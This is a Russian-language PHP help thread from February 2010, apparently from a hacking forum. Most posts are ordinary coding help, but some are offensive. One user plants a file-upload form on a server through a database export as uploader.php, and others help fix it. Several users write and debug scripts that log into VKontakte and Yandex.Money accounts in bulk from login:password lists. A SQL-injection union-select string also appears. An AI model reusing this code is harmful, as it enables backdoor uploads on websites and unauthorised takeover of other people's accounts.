11.02.2010, 10:18
for ($i=0;$i<4;$i++) {
mysql_query("UPDATE vmkb SET pn = '$pn[$i]' WHERE id=".($i+1));
mysql_query("UPDATE vmkb SET vt = '$vt[$i]' WHERE id=".($i+1));
mysql_query("UPDATE vmkb SET sr = '$sr[$i]' WHERE id=".($i+1));
}

Shadow_p1raT
11.02.2010, 10:32
to b3
id забыл прописать,до твоего способа чего то не додумался сразу )
на счёт моего,возможно ли сделать её переменной?

krypt3r
11.02.2010, 11:25
<?php
for ($i = 0; $i < 4; $i++) {
mysql_query ("UPDATE vmkb SET pn = '$pn[$i]', vt = '$vt[$i]', sr = '$sr[$i]' where id = " . $i + 1);
}
?>

Compton
11.02.2010, 12:19
Где-то был у меня самописный класс "Апи" яндекса, но не нашел. Вот функция авторизации, далее с этими куками просто идеш на money.yandex.ru и парсиш.
что-то не то

b3
11.02.2010, 13:52
что-то не то

<?php
if(login('xxxxx','xxxxxxxxx'))
echo 'auth ok<br>';


function login($login,$pass)
{

$ch = curl_init('https://passport.yandex.ru/passport?mode=auth');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_REFERER, 'https://passport.yandex.ru/passport?mode=auth');
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passwd=$pass");
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$res = curl_exec($ch);
if(preg_match('#https:\/\/passport\.yandex.ru\/passport\?mode=logout#',$res)) {

$ch = curl_init('http://money.yandex.ru/');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook.txt');
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
if(preg_match_all('#<strong>.*</strong>.*</td>#', $res, $m))
print_r($m);
}

}

?>

Накидал на скорую руку, проверил, работает.
Array ( [0] => Array ( [0] => Деньги [1] => 5 руб. 36 коп. ) )

ufalog
11.02.2010, 17:00
if ($obj->garden == 1) echo "<tr>

<td width=\"50%\">" .JText::_('_EA_OBJ_GARDEN'). "</td>

<td width=\"50%\" align=\"left\"> :".JText::_('_EA_STMT_YES'). "</td></tr>";






в пшп ваще полный ноль . как заместо ".JText::_('_EA_STMT_YES'). "

выводить картинку например images/yes.gif

Shadow_p1raT
11.02.2010, 17:06
if ($obj->garden == 1) echo "<tr>

<td width=\"50%\">" .JText::_('_EA_OBJ_GARDEN'). "</td>

<td width=\"50%\" align=\"left\"> :".JText::_('_EA_STMT_YES'). "</td></tr>";






в пшп ваще полный ноль . как заместо ".JText::_('_EA_STMT_YES'). "

выводить картинку например images/yes.gif

В таком случае будет html
http://www.htmlbook.ru/html/img.html

if ($obj->garden == 1) echo "<tr>

<td width=\"50%\"><img src=\"images/yes.gif\"></td>

<td width=\"50%\" align=\"left\"><img src=\"images/ololololo.gif\"></td></tr>";

НTL
11.02.2010, 18:49
Как правильно закрыть SQL-inj?

htmlspecialchars поможет?

wolmer
11.02.2010, 19:14
Как правильно закрыть SQL-inj?

htmlspecialchars поможет?
Эта тема для лохов: forum.antichat.ru/threadnav30641-1-10.html ? (да и гугл тоже?)

По поводу htmlspecialchars:
<?php
echo htmlspecialchars("'+union+select+1,2,3,4,5--");
?>
Смотрим код страницы, видим никакой замены символов, код творит чудеса?

Compton
11.02.2010, 20:38
b3
амм,я почти такой же сделал,все равно не работает
мб денвер,но вроде с ним все в норме

Corpy
11.02.2010, 22:16
Как вывести на екран такой вот список, при помощи php
<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
</select>

НTL
11.02.2010, 22:22
Эта тема для лохов: forum.antichat.ru/threadnav30641-1-10.html ? (да и гугл тоже?)

По поводу htmlspecialchars:
<?php
echo htmlspecialchars("'+union+select+1,2,3,4,5--");
?>
Смотрим код страницы, видим никакой замены символов, код творит чудеса?

а так:

<?php

echo htmlspecialchars("'+union+select+1,2,3,4,5--", ENT_QUOTES);

?>


Замена идет...

olishort
11.02.2010, 22:30
Как правильно закрыть SQL-inj?

htmlspecialchars поможет?

http://pyha.ru/forum/topic/990.0

Compton
11.02.2010, 22:59
Corpy

<?php

$text=htmlspecialchars("<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
</select> ");
echo str_replace(" ","<br>", $text);

?>

Ins3t
11.02.2010, 23:07
Как вывести на екран такой вот список, при помощи php
<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
</select>

Если просто вывести - то:

<?php
echo htmlentities("<select>")."<br/>";
for($i = 1; $i <=7; ++$i)
{
echo htmlentities("<option>")."$i".htmlentities("</option>")."<br />";
}
echo htmlentities("</select>");
?>


UPD:
2Compton, а если ему нужно будет вывести 1000 строк?

_Malinovskiy_
11.02.2010, 23:16
каким кодом реализуется вставка смайлов в комменты кликом на смайл на php

Compton
11.02.2010, 23:19
2Compton, а если ему нужно будет вывести 1000 строк?
хм... не подумал
поправил

emillord
11.02.2010, 23:25
каким кодом реализуется вставка смайлов в комменты кликом на смайл на php
Самый легкий и удобный вариант это небольшой javascript. В интернете примеров море.

Ins3t
11.02.2010, 23:33
каким кодом реализуется вставка смайлов в комменты кликом на смайл на php

Вот набросал на быструю руку:

<FORM METHOD=POST NAME="smile" id="smile" action="smile.php">
<table width="100%" border="0" cellpadding="3" style="border: 1px solid #083905"><tr><td bgcolor="#083905">
</td></tr><tr><td>
<table border="1" bgcolor="#083905" width="100%">
<tr><td>ANTICHAT SMILES</td><td>
<input type="button" value=":)" onclick="document.smile.text.value+=':)'">
<input type="button" value=":(" onclick="document.smile.text.value+=':('">
<input type="button" value="=)" onclick="document.smile.text.value+='=)'">
</select></td>
</tr>
<tr><td>TEXT</td><td><TEXTAREA ROWS="5" COLS="154" NAME="text" VALUE="" id="text"></TEXTAREA></td></tr>
</table>
<tr><td bgcolor="#083905"><center>
<input type=submit value="OK"></center></td></tr></table></form>

Corpy
11.02.2010, 23:34
Неправильно выразился, есть 2 файла.
1-ый сама форма в которой находятся два списка такого типа:
<select>
<option>1</option>
<option>3</option>
</select> День и месяц
Второй обработчик.Как мне вывести на екран к примеру 21 Января.

_Malinovskiy_
11.02.2010, 23:51
Ins3t большое спс

_Malinovskiy_
11.02.2010, 23:58
вот у меня есть папка с смайлами, есть код который будет вытягивать отуда смайлы и делать их ссылками в текстовое поле коммента, ето возможно но как реализовать?

Ins3t
12.02.2010, 00:10
вот у меня есть папка с смайлами, есть код который будет вытягивать отуда смайлы и делать их ссылками в текстовое поле коммента, ето возможно но как реализовать?

Ну создай файл smiles.php примерно со следующим содержанием:

<?php
$row['text'] = str_replace(':)', '<img src="smile1.gif">', $row['text']);
$row['text'] = str_replace(':(', '<img src="smile2.gif">', $row['text']);
$row['text'] = str_replace('=)', '<img src="smile3.gif">', $row['text']);
?>

И инклудь его куда надо.

2Corpy, не совсем понял задание. Объясни по конкретнее про день и месяц.

_Malinovskiy_
12.02.2010, 00:16
сейчас попробую

draliokero
12.02.2010, 00:56
При выполнении скрипта, нужно дописывать новую строку в файл в формате user[0-9];[0-9],
Например, файл содержит:
User1;36
User7;24
User4;243
Как, сделать выборку по значению до ; , например User7 и прибавить к значению после ; (24), скажем случайное число и все это дело сохранить?

Solker
12.02.2010, 01:43
draliokero
mail.txt

User1;36
User7;24
User4;243


$need = 'User7';
foreach(file('mail.txt') as $mail) {
list($one,$two) = explode(';',$mail);
if($one == $need) $fin .= $one.';'.rand(666,999);
}
file_put_contents('mail_new.txt',$fin);

draliokero
12.02.2010, 02:17
НSolker, спс за ответ в теме)

c0rp$e
12.02.2010, 09:39
set_time_limit (3000);
echo "start</br>";
$fp=fopen('l1.txt', 'a+');
echo "open</br>";

while(!feof($fp))
{
sleep(5);
$string=fgets($fp, 1024);
echo $string;
echo "</br>";
$homepage = file_get_contents("http://ссс.ru/&id=".$string."&123");
echo $homepage;

fclose($fp);

// $fff = "";
// while (!feof($sock))

$fff .= fread($sock, 128);
}
echo $fff;
$out = array();
preg_match_all($fff, $out);
echo " good";
echo "</br>";
echo $out[0][1];
foreach ($out[1] as &$value) {
$file = fopen("a2.txt", "a");
fputs($file, $value. "\r\n");
fclose($file);
}
fclose($sock);



/* $homepage = file_get_contents('http://google.ru/');
echo $homepage;*/
?>

.Ребят подскажите плиз, что не так в скрипте?
Вроде должен:
1. открыть файл "l1.txt"
2. подставить первую строку из файла сюда ".$string."
3. зайти по полученному урлу и выпарсить весь текст
4. сохранить в a2.txt
и далее по кругу, подставить вторую строку 'l1.txt' в url -> зайти выпарсить -> сохранить в файл.
что не так?

Solker
12.02.2010, 12:04
c0rp$e

<?php
set_time_limit (0);
echo "start<br/>";
$file=file('l1.txt');
echo "open<br/>";

foreach($file as $line)
{
echo $line.'<br/>';
$homepage = file_get_contents("http://ссс.ru/&id=".$line."&123");
//echo $homepage;

$pattern = '#parse (.+?) it#';
preg_match_all($patter,$homepage, $out);
echo 'good<br/>';
echo $out[0][1].'<br/>';
foreach ($out[1] as $value)
$fin .= $value.chr(10);

file_put_contents('l1.txt',$fin);
}
?>

c0rp$e
12.02.2010, 12:41
c0rp$e

<?php
set_time_limit (0);
echo "start<br/>";
$file=file('l1.txt');
echo "open<br/>";

foreach($file as $line)
{
echo $line.'<br/>';
$homepage = file_get_contents("http://ссс.ru/&id=".$line."&123");
//echo $homepage;

$pattern = '#parse (.+?) it#';
preg_match_all($patter,$homepage, $out);
echo 'good<br/>';
echo $out[0][1].'<br/>';
foreach ($out[1] as $value)
$fin .= $value.chr(10);

file_put_contents('l1.txt',$fin);
}
?>

не пашет..
ошибки выдает

PHP Notice: Undefined variable: patter....
PHP Warning: preg_match_all(): Empty regular expression in ...
PHP Notice: Undefined variable: fin in...
PHP Warning: Invalid argument supplied for foreach()...

FewG
12.02.2010, 13:14
Заливаю через бд вот этот код, после чего экпортирую сиё чудо в uploader.php

<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"uploader.php\" METHOD=POST> File: <INPUT NAME=\"upload\" TYPE=\"file\"> <INPUT TYPE=\"submit\" VALUE=\"Upload\"> <?php $uploaddir = \'\'; $uploadfile = $uploaddir . basename($_FILES[\'upload\'][\'name\']); if (move_uploaded_file($_FILES[\'upload\'][\'tmp_name\'], $uploadfile)) { print \"Upload was successful\"; } else { print \"Upload was failed\"; } ?>
Но когда вызываю файл через браузер, выдается ошибка
PHP Warning: Unexpected character in input: '\' (ASCII=92) state=1

REBUUS
12.02.2010, 13:50
у тебя с кавычками проблемы , во-первых echo "<FORM ENCTYPE="multipart/form-data\" ACTION=\"uploader.php\" METHOD=POST>" даже самую первую ковычка забыл экранировать , и вообще пользуйся ' вместо экранированных кавычек и будет легче :) дальше не стал смотреть

FewG
12.02.2010, 14:19
у тебя с кавычками проблемы , во-первых echo "<FORM ENCTYPE="multipart/form-data\" ACTION=\"uploader.php\" METHOD=POST>" даже самую первую ковычка забыл экранировать , и вообще пользуйся ' вместо экранированных кавычек и будет легче :) дальше не стал смотреть

страно у меня было экранировано, как то косо копирнул :D

<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"logout.php\" METHOD=POST> File: <INPUT NAME=\"upload\" TYPE=\"file\"> <INPUT TYPE=\"submit\" VALUE=\"Upload\"> </body> </html> <?php $uploaddir = \'\'; $uploadfile = $uploaddir . basename($_FILES[\'upload\'][\'name\']); if (move_uploaded_file($_FILES[\'upload\'][\'tmp_name\'], $uploadfile)) { print \"<font color=\'#00FF00\'>Upload was successful</font>\"; } else { print \"<font color=\'#FF0000\'>Upload was failed</font>\"; } ?>

REBUUS
12.02.2010, 14:44
$uploadfile = $uploaddir . basename что за пробелы вокруг точки ?

надеюсь первую часть
<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"logout.php\" METHOD=POST> File: <INPUT NAME=\"upload\" TYPE=\"file\"> <INPUT TYPE=\"submit\" VALUE=\"Upload\"> </body> </html>

ты print или echo делаешь, а не просто пишешь

FewG
12.02.2010, 16:27
ты print или echo делаешь, а не просто пишешь


На локалке у меня без принта работает, а вот когда на серв переношу, начинаються проблемы. :rolleyes:

RayzeR0
12.02.2010, 16:42
Добрый день, есть такой вопрос, нужно написать простенький скрипт, который обрезал бы каждую строку до нужного мне количества символов, в данном случае до 18 символов
Как можно это сделать средствами php? Примерно 1000 строк обрезать нужно до 18 символов каждую :) спасибо за помощь :)

Solker
12.02.2010, 16:51
RayzeR0

<?php
foreach(file('file.txt') as $line)
echo substr($line,0,18).'<br/>'.chr(10);

Solker
12.02.2010, 16:55
c0rp$e
Я не телепат, что бы написать регулярное выражение, которое будет парсить то, что тебе нужно.
preg_match_all($patter,$homepage, $out);
замени на
preg_match_all($pattern,$homepage, $out);

RayzeR0
12.02.2010, 18:40
Solker спасибо

ReduKToR
12.02.2010, 19:56
Вообщем хз куда запостить....возникла трабла......
Скрипт спокойно работает на денвере(пыха 5)
но не работает на серере(пыха 5.3)
просьба глянуть,и сказать,какие хрени этого кода удалены(заменены) в пыхе 5.3


$num1 = rand(100,2222);
$num=(string)$num1;
$im = @ImageCreate (70,20);
header ('Content-type: image/png');
$background_color = ImageColorAllocate ($im, 0xfc, 0xfc, 0xff);
$text_color = ImageColorAllocate ($im, 10, 10, 10);

$color1 = ImageColorAllocate ($im, 120, 15, 20);

for ($i=1; $i<6; $i++)
{
$idq = rand(1, 7);
imageellipse($im, 0, 0, 30*$idq, 15*$idq, $text_color);
}

for ($i=1; $i<100; $i++)
{
$x = rand(1, 90);
$y = rand(1, 19);
imageline($im, $x, $y, $x, $y, $color1);
}

for($i=0;$i<strlen($num);$i++)
{
ImageString($im, 5, 8+13*$i+rand(-2,2), 3+rand(-2,2),$num[$i], $text_color);
}

ImagePng ($im);
ImageDestroy($im);
if(isset($_REQUEST[session_name()])){
session_start();
}
if($_REQUEST[session_name()]){
$_SESSION['captcha_keystring'] = $num1;
}

Failure
12.02.2010, 20:21
дело не в php, а думаю отсутствует GD либа на сервере (phpinfo в помощь)
З.Ы. юзай mt_rand, а не rand
З.Ы.Ы.
for($i=0;$i<strlen($num);$i++)

в каждом выполнении цикла будет выполнятся ф-ция strlen, так что присвой лучше длину в еще 1 переменную и её и юзай в цикле

mailbrush
12.02.2010, 20:23
Есть файл const.php
<?php
$msg['hello'] = 'Hello, '. $name;
?>
И есть файл, в котором этот скрипт инклудится в начале, но $name задается после инклуда. Как правильно сделать такое? Всякие быдлокоды типа инклуда после декларирования переменной и вывода текста в самом индексе мне не подходят.

Failure
12.02.2010, 20:36
function hello() {
global $name;
$msg['hello'] = 'Hello, '.$name;
}

инклудь когда угодно, после объявления переменной вызываешь ф-цию, эт первое что пришло в голову =\

mailbrush
12.02.2010, 21:15
И вправду, я вовсе забыл о global :) thx...

mailbrush
12.02.2010, 21:56
Этот способ работает, но у меня еще по-другому и global не подойдет:)
Есть три файла.
1. (index.php) С этого вызывается функция.
2. (functions.php) Здесь сама функция.
3. (constants.php) А здесь текст сообщения.

Из файла 1 вызывается функция в файле 2, переменная с текстом которой есть в файле 3.

Тоесть так:

index.php
include ('constants.php');
include ('functions.php');

$name = $_POST['name'];
display_message($m['reg_success']);

functions.php
function display_message($message)
{
echo '<center><div class="msg"><br>' . $message .
'<br><br></div></center><br />';
}

constants.php
$m['reg_success'] = $name . ', ваша регистрация завершена!';

Как поступать? Как сделать структуру?

LStr1ke
12.02.2010, 22:40
Ну какбе ты в файле constants.php уже назначил значение массиву с пустой переменной $name и дальше ему побоку, что ты назначаешь $name.
Если интересует именно такая реализация, то переменные всегда назначай в самом начале файла.

index.php:

$name = $_POST['name'];

include ('constants.php');
include ('functions.php');


display_message($m['reg_success']);

mailbrush
12.02.2010, 22:43
Ну какбе ты в файле constants.php уже назначил значение массиву с пустой переменной $name и дальше ему побоку, что ты назначаешь $name.
Если интересует именно такая реализация, то переменные всегда назначай в самом начале файла.

index.php:

$name = $_POST['name'];

include ('constants.php');
include ('functions.php');


display_message($m['reg_success']);

Это будет нерационально с точки зрения грамматики кода. Я пишу профессиональную систему на PHP, для себя, целью которой есть изучение именно этого (грамматики). Столкнулся с такой проблемой.

astrologer
12.02.2010, 23:00
mailbrush$messages = array
(
'reg_success' => '%s, ваша регистрация завершена!',
'hello' => 'Hello, %s'
);
К грамматике это не относится.

Failure
12.02.2010, 23:10
не ну на самом деле никак иначе, ты присваиваешь значение $m['reg_success'] (которому нужен $name) а потом уже объявляешь $name, по этому только 2 способа

1) использовать global относительно $name в ф-ции display_message (действительно не профессионально)
2) объявить в правильном порядке, с начало $name, а потом $m['reg_success'] (что я бы и сделал)

mailbrush
12.02.2010, 23:17
Так, пускай будет второй вариант. Но у меня еще не так :)
...
if(условие)
{
$name = 'Вася';
include('constants.php');
display_message($m['reg_success']);
}
...
Потом в этом коде еще несколько раз выводится display_message, где текст указывается не везде. Разве нельзя никак иначе сделать, ибо 5-10 инклудов того же файла - это вообще ни в какие рамки не влезает.

Failure
12.02.2010, 23:41
сделай класс, в который инклудится constants.php, и получается каждый раз когда тебе надо display_message просто будешь вызывать его из класса, в зависимости от условия меняя или не меняя $name.
Получается у тебя в наличии весь constants.php и удобно вызывать display_messages, меняя $name когда тебе надо

Corpy
13.02.2010, 00:14
В общем есть форма:
<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
</select>
и так до 30-го числа
Потом вторая форма
<select>
<option>Январь</option>
<option>Февраль</option>
</select>
и так далее
Как мне с помощью php, к примеру - вывести 21 Января на екран.

НTL
13.02.2010, 00:22
В бд (mySQL) есть 2 уникальных поля u1 и u2
И при запросе в бд возникает ошибка что поле u1 или u2 уже имеет такое значение
Как причитать что данное значение уже есть, и в каком поле оно повторяется?

как получить текущую дату для отправление в бд (тип поля в бд: datetime)? // date("Y-m-d H:i:s") помогло

LStr1ke
13.02.2010, 03:21
В общем есть форма:
<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
</select>
и так до 30-го числа
Потом вторая форма
<select>
<option>Январь</option>
<option>Февраль</option>
</select>
и так далее
Как мне с помощью php, к примеру - вывести 21 Января на екран.

<select>
<option>1</option>
<option>3</option>
<option>4</option>
<option selected>5</option>
<option>6</option>
<option>7</option>
</select>
<select>
<option selected>Январь</option>
<option>Февраль</option>
</select>

Не?

-=Zhenek=-
13.02.2010, 07:16
Может ему надо :

<select name=day>
<option>1</option>
<option>3</option>
<option>4</option>
<option selected>5</option>
<option>6</option>
<option>7</option>
</select>
<select name=month>
<option selected>Январь</option>
<option>Февраль</option>
</select>

<?
echo "$_POST[day] $_POST[month]";
?>

Compton
13.02.2010, 10:38
есть файл,в нем строки.
нужно,чтобы каждая строка записывалась в свою переменную
думаю,что копать надо сюда
<?php
$file = file('accounts.txt');
$str = 2;
echo $file[$str-1];
?>

#Wolf#
13.02.2010, 11:08
в цикле "качаю" картинки и сохраняю в папку images.
можно ли это все(или сразу папку) заархивировать средствами php без дополнительных "модулей"
или с модулями которые стоят везде по дефолту.

b3
13.02.2010, 12:15
Compton
Гениально!
#Wolf#
Если сервер на никсах, то :

tar -cvf file.tar /full/path – создать .tar

tar -czvf file.tar.gz /full/path – создать .tar.gz (архив)
tar -cjvf file.tar.bz2 /full/path – создать .tar.bz2 (архив)

Синтаксис этих примеров:
tar [-ключи] [название архива] [путь, что запаковать]
Как открыть (распаковать) .tar

Чтобы распаковать запаковыный .tar:

tar -xvf file.tar.gz

Синтаксис:
tar [-ключи] [название архива]


В файлах .tar можно хранить несколько папок (структуру папок и файлов).
Лучше использовать с ключами для архивации файла .tar, чтобы в результате получились файлы с расширением .tar.gz (файл .tar сжатый архиватором gzip) или .tar.bz2 (файл .tar сжатый bzip2).
bzip2 лучше сжимает, но с gzip более распространён, поэтому лучше сжимать этим архиватором.


http://ua.php.net/system
http://ua.php.net/manual/en/function.exec.php
http://ru.wikipedia.org/wiki/Tar

Если на винде, то есть ext для РНР - php_zip правда не юзал ни разу, загугли.

Solker
13.02.2010, 13:24
#Wolf#
Ну.. Эм.. Если Винды, то там есть чудо стандартный zip, который не умеет работать через консоль. Но можно создать архив через VBS.

Option Explicit

Const ForReading = 1, ForWriting = 2, ForAppending = 8

Dim MySource, MyTarget, MyZipName, MyHex, MyBinary, i
Dim oShell, oApp, oFolder, oCTF, oFile
Dim oFileSys

MySource = "c:\test"
MyTarget = "c:\test.zip"

MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)

For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next

Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")


Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing

Set oApp = CreateObject("Shell.Application")

Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If

wScript.Sleep(5000)


Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)

Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
Loop

Set oFile=Nothing
Set oFileSys=Nothing

alx8787
13.02.2010, 15:55
Добрый день. Возникла идея создать что то типа ip фильтра. СУТЬ такая: скрипт определяет айпи человека зашедшего на сайт затем он смотрит есть ли такой айпи в списке (файл лист). если айпи есть то ничего не происходит. если нет тогда айпи записывается в лист и запускается перенапровление скриптом (iframe)... и каждую ночь в опр время файл очищается. так вот как это сделать. Может кто готовый скрипт предложит??? заранее спасибо

emillord
13.02.2010, 15:59
Добрый день. Возникла идея создать что то типа ip фильтра. СУТЬ такая: скрипт определяет айпи человека зашедшего на сайт затем он смотрит есть ли такой айпи в списке (файл лист). если айпи есть то ничего не происходит. если нет тогда айпи записывается в лист и запускается перенапровление скриптом (iframe)... и каждую ночь в опр время файл очищается. так вот как это сделать. Может кто готовый скрипт предложит??? заранее спасибо

Он только выдирает ip из базы, а не из файла.
Очищение думаю не очень трудно прикрутить будет.
<?php
$ipp = $_SERVER['REMOTE_ADDR'];

include_once('connect.php');

$connect =@mysql_connect($host,$user,$pass);
mysql_select_db($dbname,$connect);
$sqll="SELECT * FROM `ban` WHERE banip='$ipp' ";
@$resultt=mysql_query($sqll);
@$rowss=mysql_num_rows($resultt);

for ($ii=0;$ii<$rowss;$ii++){
mysql_data_seek($resultt,$ii);
@$guestt=mysql_fetch_array($resultt);

die ('<b><h3><center>Вам запрещен доступ к этой странице.<br>
Для разрешения доступа пишите на форум</center></h3></b>');
}


?>

Compton
13.02.2010, 16:39
b3
я только спросил)

Corpy
13.02.2010, 20:50
Спасибо большое всем кто ответил.
Оказывается у меня ошибка была не в php а в хтмл.
забыл про вот это -

<option selected>3</option>

<option selected>Январь</option>
Что то сильно туплю...=\
Ещё раз спасибо

НTL
13.02.2010, 21:11
Как сделать шум, длиной X знаков, в тексте из [a..z],[0..9]?

Redwood
13.02.2010, 23:52
Не могу залогиниться вконтакте списком акков из файла, в чем проблема?


<?php

function curl ($url,$post,$referrer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post );
curl_setopt ($ch, CURLOPT_REFERRER, $referrer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_exec($ch);
$result = curl_close($ch);
return $result;
}

function login()
{
$result = curl ('http://login.vk.com/?act=login','email='.urlencode("$email").'=pass='.urlencode("$pass").'&expire=&vk=','http://vkontakte.ru/login.php');
return $result;
}


$accs = file ('accs.txt');

if (!file_exists('accs.txt'))

echo "Файл с аккаунтами accs.txt не найден!";

else
{


foreach ($accs as $key => $value)
{
list ($email,$pass) = explode (':',$value);
login ($email,$pass);
}

if (login($email,$pass))
echo "Логинимся под $email:$pass </br>";
else
echo "Не удалось залогиниться под $email:$pass </br>";
}
?>

mailbrush
14.02.2010, 00:37
Моя функция авторизации:
function Request($url, $postfields = false, $cookie = false)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
if ($postfields)
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
}
if ($cookie)
{
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$res = curl_exec($ch);
return $res;
}

function LogIn($email, $password)
{
Request('http://vkontakte.ru/login.php', 'op=a_login_attempt');
$vars = Request('http://login.vk.com/?act=login', 'email=' . $email . '&pass=' . $password .
'&expire=&vk=');
preg_match_all("#<input type='hidden' name='(.*)' id='.*' value='(.*)' />#", $vars, $m);
foreach ($m[1] as $key => $value)
{
@$postfields .= $value . '=' . $m[2][$key] . '&';
}
$h = Request('http://vkontakte.ru/login.php', $postfields);
preg_match('#remixsid=[a-z0-9]+#', $h, $cookie);
$page = Request('http://vkontakte.ru/', false, $cookie[0]);
preg_match('#Location: /id(\d+)#', $page, $id);
return array('sid' => $cookie[0], 'id' => $id[1]);

}

GlooK
14.02.2010, 00:44
Не могу залогиниться вконтакте списком акков из файла, в чем проблема?

Сначала curl_setopt($ch, CURLOPT_POST, 1);
а потом curl_setopt($ch, CURLOPT_POSTFIELDS, $post );

b3
14.02.2010, 05:58
Моя функция авторизации:
function Request($url, $postfields = false, $cookie = false)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
if ($postfields)
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
}
if ($cookie)
{
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$res = curl_exec($ch);
return $res;
}

function LogIn($email, $password)
{
Request('http://vkontakte.ru/login.php', 'op=a_login_attempt');
$vars = Request('http://login.vk.com/?act=login', 'email=' . $email . '&pass=' . $password .
'&expire=&vk=');
preg_match_all("#<input type='hidden' name='(.*)' id='.*' value='(.*)' />#", $vars, $m);
foreach ($m[1] as $key => $value)
{
@$postfields .= $value . '=' . $m[2][$key] . '&';
}
$h = Request('http://vkontakte.ru/login.php', $postfields);
preg_match('#remixsid=[a-z0-9]+#', $h, $cookie);
$page = Request('http://vkontakte.ru/', false, $cookie[0]);
preg_match('#Location: /id(\d+)#', $page, $id);
return array('sid' => $cookie[0], 'id' => $id[1]);

}


аж 2 курла.


function vk_login($email, $pass) {

$ch = curl_init('http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6');
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email='.urlencode($email).'&pass='.urlencode($pass).'&expire=&vk=');
$errno = curl_errno($ch);
$error = curl_error($ch);
$res = curl_exec($ch);
if($errno > 0) {
return $errno.':'.$error;
} else {
if(preg_match('#id=\'s\' value=\'(.*)\'#', $res, $m))
return $m[1];
else return false;
}

}

НTL
14.02.2010, 12:00
Есть файл: сайт/config.php
И есть файл: сайт/1/index.php

В index.php пытаюсь его подключить таким образом:
include('config.php');
или
include('/config.php');
Но в обоих случиях возникает ошибка, а если написать:
include('сайт/config.php')
То возникает ошибка:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in...

Как подключить файл config.php? (не используя include('сайт/config.php'))

wildshaman
14.02.2010, 12:04
include('../config.php');

m0Hze
14.02.2010, 12:54
include('./config.php');
олоол,кыш из темы :(

/* one */
include('../config.php');
/* two */
include(getcwd().'/config.php');

Compton
14.02.2010, 13:08
есть файл вида логин;пароль(для авторизации)
нужно брать логин и пароль из одной строчки и вставлять в поле авторизации(это я сделаю через курл) и так из всех строчек в файле,включая последнюю

m0Hze
14.02.2010, 13:13
есть файл вида логин;пароль(для авторизации)
нужно брать логин и пароль из одной строчки и вставлять в поле авторизации(это я сделаю через курл) и так из всех строчек в файле,включая последнюю

$file = file('data.dat');
$count = count($file);
for($i=0;$i<$count;$i++){
list($login,$pwd) = explode(';',$data[$i]);
curl('http://antichat.ru','login='.$login.'&passwd='.$pwd);
}

Compton
